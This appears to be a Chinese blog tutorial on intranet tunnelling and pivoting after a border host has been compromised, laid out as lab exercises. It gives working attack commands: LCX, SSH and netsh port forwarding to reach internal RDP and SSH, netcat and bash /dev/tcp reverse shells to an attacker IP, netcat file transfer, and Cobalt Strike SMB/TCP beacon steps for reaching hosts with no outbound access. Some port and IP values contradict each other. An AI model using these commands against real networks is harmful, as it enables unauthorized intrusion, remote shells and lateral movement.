戰小欢
发布于 2023-09-17 / 38 阅读
0
0

内网隧道代理技术

内网隧道代理技术

隧道描述

攻击者通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多 安全设各,网络结构错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限 制,因此面对不同的网络环境对于代理的选择及使用显得格外重要。

隧道的分类

关于隧道的分类大体可以从两个方面进行分类

从流量层分类

1.1. 应用层隧道 (DNS SOCKS HTTP SSH)

1.2. 传输层隧道(TCP隧道 UDP隧道)

1.3. 网络层隧道(ICMP隧道 IPv6隧道)

从作用上来分类

1.1. 反弹SHELL (nc python bash)

1.2. 端口转发 (LCX SSH iptables telnet)

1.3. 端口映射(LCX NPS FRP)

端口转发和端口映射

端口转发, 有时被称为做隧道, 是安全壳 (SSH) 为网络安全通信使用的一种方法简单来说, 端口转发就是将一个端口收到的流量转发到另一个端口。

端口映射是 NAT 的一种, 功能是把在公网的地址转成私有地址。简单来说, 端口映射就是将一个端口映射 到另一个端口供其他人使用

Http代理和Socks代理(隧道)

Http 代理用的是 Http 协议,工作在应用层,主要是用来代理浏览器访问网页。

Socks 代理用的是 Socks 协议,工作在会话层,主要用来传递数据包。socks 代理又分为 Socks4 和 Sock5,Socks4 只支持 TCP,而 Socks5 支持 TCP 和 UDP。

反弹shell介绍

反弹 shell(reverse shell),就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命 令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端 与服务端的角色反转。

正向代理和反向代理

正向是从攻击者电脑主动访问目标机器,例如通过主动访问目标建立 Shell 是正向 Shell。

反向是从目标机器主动连接攻击者电脑,例如通过在目标机器执行操作访问攻击者电脑建立的 Shell 是反 向 Shell

LCX端口转发

1. LCX介绍

LCX 是一款端口转发工具,分为 Windows 版和 Linux 版,Linux 版本为 PortMap。LCX 有端口映射和端口 转发两大功能,例如当目标的 3389 端口只对内开放而不对外开放时,可以使用端口映射将 3389 端口映 射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端 口转发突破限制。 Windows 版的 LCX 用法:

端口转发:

Lcx -listen < 监听 slave 请求的端口 >< 等待连接的端口 >

Lcx -slave < 攻击机 IP>< 监听端口 >< 目标 IP>< 目标端口 >

端口映射:

Lcx -tran< 等待连接的端口 >< 目标 IP>< 日标端口 >

2. 实验过程一

2.1. 实验场景

由于配置了防火墙只允许 web 访问,这个时候攻击者想访问 3389 端口,远程连接是不可以的,就需要使 用 LCX 进行端口转发

Web 服务器开启了 80 端口,3389 端口不允许出网,可以将 web 服务器的 3389 端口转发到允许出网的 53 端口,这个时候攻击者在本地监听 53 端口并且转发到 1111 端口,这个时候攻击者连接自己的 1111 端 口,等于访问 web 服务器的 3389 端口

2.2. 实验环境

机器介绍如下

机器名称

机器 IP

攻击机器

192.168.3.27

web 服务器

192.168.3.29

2.3. 在攻击机上运行以下命令,监听本地53端口并且转发到本地1111端口

lcx -listen 53 1111

2.4. 在web靶机上运行以下命令, 将靶机的的3389端口转发到192.168.3.27(攻击机)的 53端口

lcx.exe -slave 192.168.3.27 53 127.0.0.1 3389

2.5. 在攻击机上运行远程桌面,地址为127.0.0.1:1111

3. 实验过程二

实验场景:

Web 服务器开启了 80 端口,3389 端口不允许出网,可以将 web 服务器的 3389 端口转发到允许出网的 54 端口,这个时候攻击者在 VPS 监听 54 端口并且转发到 1111 端口,这个时候攻击者连接 VPS 的 1111 端口, 等于访问 web 服务器的 3389 端口

3.1. 在攻击机上运行以下命令,监听本地53端口并且转发到本地1111端口

lcx -slave 118.178.134.226 54 127.0.0.1 3389

3.2. 在vps运行lcx -listen 54 1111,因为我的机器vps机器是linux系统所以使用portmap

./portmap -m 2 -p1 54 -p2 1111

3.3. 在本地攻击机上连接118.178.134.226:1111

SSH端口转发

1. SSH介绍

SSH 通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份 验证、SCP、SFTP、和端口转发的功能

SSH 转发常用的参数介绍:

-C

请求压缩所有数据

-D

动态转发、即 socks 代理

-f

后台执行 SSH 指令

-g

允许远程主机连接主机的转发端口

-L

本地转发

-N

不执行远程指令,处于等待状态

-R

远程转发

2. 正向转发

2.1. 实验场景

现在有如下的网络,电脑 A 是攻击机器,可以直接访问电脑 B, 但是访问不了机器 C, 可以借助 B 机器上的 SSH 命令进行端口转发访问机器 C

2.1. 机器信息

机器名字

机器 IP

机器类型

攻击机器 A

192.168.40.22

WIN11

官网机器 B

192.168.41.136/192.168.52.132

centos

内网机器 C

192.168.52.135

win7

2.2. 网络情况

A 可以访问 B

B 可以访问 C

A 不能访问 C

C 纯内网环境

2.3. 使用webshell或者其他其他的方式连接到B机器,即控制了机器B

2.4. 使用转发的命令进行转发,利用机器B将机器C的3389端口转发到机器B上

ssh -CfNg -L 本地端口: 主机 B_IP: 主机 B_ 端口 跳板主机 A_IP

例如: ssh -CfNg -L 3333:192.168.52.135:3389 192.168.41.136, 然后输入 B 电脑(跳板机)的密码即可

// 在 B 电脑上执行,将 C 电脑的 3389 端口转发到 B 电脑的 3333 端口

2.5. 访问跳板机器的3333端口就可以访问内网机器的3389端口

3. 反向转发

3.1. 实验场景

攻击机者已经拿下了机器 B 但是因为是内网机器所以无法直接访问,同时无法访问 c 主机,但是因为 b 有 ssh,我们使用远程转发 以下是实验环境拓扑图:

3.2. 机器信息

机器名字

机器 IP

机器类型

攻击机器 A

118.178.134.226

WIN11

官网机器 B

官网机器 C

192.168.41.136/192.168.52.132

192.168.52.136

centos

centos

3.3. 网络情况

B 可以访问 A

B 可以访问 C

A 访问不了 B

C 不出网,纯内网

3.4. 实验步骤

3.4.1. 通过反向连接(钓鱼)的方式连入公司的网络,即控制了机器B

3.4.2. 在机器上执行如下的转发命令,利用B机器将机器C的22端口转发到VPS上(先经过机器B,最后到达VPS)

ssh -CfNg -R 攻击者端口: 目标主机 IP: 目标主机端口 -fN 攻击者 _IP

payload:

在机器 B 执行

例如: ssh -CfNg -R 9876:192.168.52.136:22 118.178.134.226 然后输入攻击者电脑的密码即可

3.4.3. 在攻击的机器上访问端口就可以了(这里只能本地访问)

ssh root@127.0.0.1 -p 9876

NETSH端口转发

1. NETSH介绍

netsh 是 windows 系统自带命令行程序,攻击者无需上传第三方工具即可利用 netsh 程序可进行端口转 发操作,可将内网中其他服务器的端口转发至本地访问运行这个工具需要管理员的权限

2. 实验场景

现在有如下的网络,电脑 A 是攻击机器,可以直接访问电脑 B, 但是访问不了机器 C, 可以借助 B 机器上的 netsh 命令进行端口转发访问机器 C,这里注意只能访问端口

2.1. 机器信息

机器名字

机器 IP

机器类型

攻击机器 A

192.168.40.22

WIN11

官网机器 B

192.168.41.231/192.168.52.133

WIN7

内网机器 C

192.168.52.132

centos

2.2. 网络情况

A 可以访问 B

B 可以访问 C

A 不能访问 C

C 纯内网环境

3. 实验步骤

3.1. 我们通过webshell或者CS远控对方电脑

3.2. 通过远控攻击在B上执行如下的命令(只有管理员才能执行哦)

netsh interface portproxy add v4tov4 listenaddress=192.168.52.133 listenport=8899 connectport=22 connectaddress=192.168.52.132

3.3. 查看是否开启转发

netsh interface portproxy show v4tov4

3.4. 在攻击机器A上运行连接靶机C的端口

ssh root@192.168.41.231 -p 9999

3.5. 删除转发如下

netsh interface portproxy delete v4tov4 listenaddress=192.168.41.213 listenport=9999

Netcat反弹shell

Netcat 简称 NC, 是一个简单、可靠的网络工具, 被誉为网络界的瑞士军刀。通 NC 可以进行端口扫描、 反弹 Shell、端口监听和文件传输等操作, 常用参数如下:

-c

指定连接后要执行的 shell 命令

-e

指定连接后要执行的文件名

-k

配置 Socket 一直存活 (若不想退出 Shell 后使监听断开可使用此参数)

-l

监听模式

-p

设置本地主机使用的通信端口

-u

使用 UDP 传输协议, 默认为 TCP

-v

显示指令执行过程, 用 -vv 会更详细

1. 正向反弹Shell

1.1. 实验拓扑

机器名称

机器 IP

攻击机器

192.168.3.27

目标靶机

192.168.3.29

1.2. 机器情况

攻击者机器 192.168.3.27 和靶机 192.168.3.29 可以相互的访问,这个时候可以使用正向 shell

1.3. 实验步骤

1.3.1. 在靶机上运行

nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows 机器

nc -lvvp 1111 -e /bin/bash linux 机器

1.3.2. 在攻击机上运行

nc 192.168.3.29 1111

1.3.3. 拿到正向的shell

2. 反向反弹shell

2.1. 实验拓扑

机器名称

机器 IP

攻击机器

192.168.3.27

目标靶机

192.168.3.29

2.2. 机器情况

攻击者机器 192.168.3.27 不能直接访问靶机,但是靶机 192.168.3.2 这个时候使用反向 shell

2.3. 实验步骤

2.3.1. 在攻击者机器运行

nc -lvvp 1111 监听 1111 端口

2.3.2. 在靶机上运行(反弹到公网)

nc -e C:\Windows\System32\cmd.exe 192.168.3.27 1111 windos 机器

nc -e /bin/bash 192.168.3.27 1111 linux 机器

2.3.3. 拿到反向的shell

3. NC的其他用法

3.1. Banner信息的抓取

靶机运行着 ssh 服务,可以查看服务的版本

nc -nv IP Port

3.2. 端口探测

3.2.1. 查看端口的开放情况

nc -v IP Port

3.2.2. 多端口扫描:

nc -v -z IP Port1-65535

4. 端口监听

监听端口,当访问该端口会输出该信息

nc -l -p port

5. 文件传输

接收端:

nc -lp port > file

发送端:

nc -vn IP Port < file -q 1 //windows 是 -z,linux 是 -q

5.1. 接收端文件夹为空

5.2. 接收端执行命令

nc -lp 3336 > 1.txt

5.3. 发送端执行命令

nc -vn ip port < file -w 1

nc -vn 192.168.10.105 3336 < 1.txt -w 1

5.4. 接收端接收到文件

6. 简易聊天

6.1. vps执行: nc -l -p Port

6.2. 靶机执行:nc -vn IP Port

6.3. 连接远程主机

nc -nvv ip port

bash反弹shell

bash -i >&/dev/tcp/ 攻击机 _IP/ 攻击机端口 0>&1

bash -i >&/dev/tcp/ 攻击机 _IP/ 攻击机端口 0>&2

bash -i >&/dev/udp/ 攻击机 _IP/ 攻击机端口 0>&1

bash -i >&/dev/udp/ 攻击机 _IP/ 攻击机端口 0>&2

"bash-i" 是指打开一个交互式的 Shell。

"&" 符号用于区分文件和文件描述符,">&" 符号后面跟文件时,表示将标准输出和标准错误输出重 定向至文件,">&" 符号后面跟数字时表示后面的数字是文件描述符,不加 "&" 符号则会把后面的数 字当成文件。数字 "0","1","2" 是 LinuxShell 下的文件描述符, “0”是指标准输入重定向, “1”是 指标准输出重定向, “2”是指错误输出重定向。

应用层内网代理

1. EW一级正向代理

上线不出网的机器

1. 不出网机器介绍

上线不出网机器一般是指 B 区域的电脑上线到 CS 工具或者 MSF 上,因为 B 机器不出网无法和 VPS 进行通信

针对 B 区域不出网的机器一般是 2 中情况

1、纯内网环境,任何端口都不出网

2、只有特定的端口可以出网

针对 A 区域出网的机器也有如下的情况(中转机器或者是跳板机)

1、A 区域的机器可以出网

2、A 区域只有特定的端口可以出网

2. CS工具自带上线不出网机器

A 区域的机器已经被控制并且上线到 CS, 现在要将 B 区域的机器进行上线,有如下的形式

2.1. SMB Beacon上线

介绍:SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 连接后,子 Beacon 从父 Beacon 获取到任务并发送。因为连接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。

2.1.1. 实验步骤如下:

2.1.2. 首先控制A区域的边界主机,使用CS

2.1.3. 创建SMB监听器

2.1.4. 创建SMB类型的木马

2.1.5. 通过内网渗透技术(横向移动或者域内攻击)上传木马到B区域的机器

2.1.6. 运行木马之后进行连接

** 用 link **** 命令链接它或者 unlink ** 命令断开它

2.2. TCP Beacon上线

TCP Beacon 和 SMB Beacon 类似只不过 TCP Beacon 不是使用 SMB 与父 Beacon 进行通信而是使用 TCP socket 进行通信,cs4.0 之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术, 很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用 tcp beacon 去生成木马。

2.2.1. 实验步骤如下

2.2.2. 首先控制A区域的边界主机,使用CS

2.2.3. 创建TCP监听器

2.2.4. 创建TCP类型的木马

2.2.5. 上传木马之后进行连接

这里使用 connect 进行连接

2.3. Http代理上线

CS 的监听器支持 HTTP 代理的配置,在配置监听器的时候可以添加 HTTP 代理,从而实现内网上线

网络的拓扑图如下

首先控制 A 区域的机器然后使用搭建 HTTP 隧道,HTTP 隧道搭建可以使用 webshell 工具或者其他的工具,我们一般会借助哥斯拉或者冰蝎等 webshell 工具会自带该功能

这里我们使用第三方的工具 Goproxy 工具可以简单的开启 http 隧道,支持各种形式

下载地址:https://github.com/snail007/goproxy

配置代理,因为我们是在本地进行测试,他是正向连接的代理,不能用 VPS,我们采用本地的 CS

因为是双网卡,还需要做一个端口转发

netsh interface portproxy add v4tov4 listenaddress=192.168.111.136 listenport=8899 connectaddress=192.168.41.218 connectport=8081

运行即可上线

2.4. 中转上线

CS 中自带一个中转上线的操作,就是使用端口转发的技术和 socket 通信

生成木马然后正常在机器上运行就可以了


评论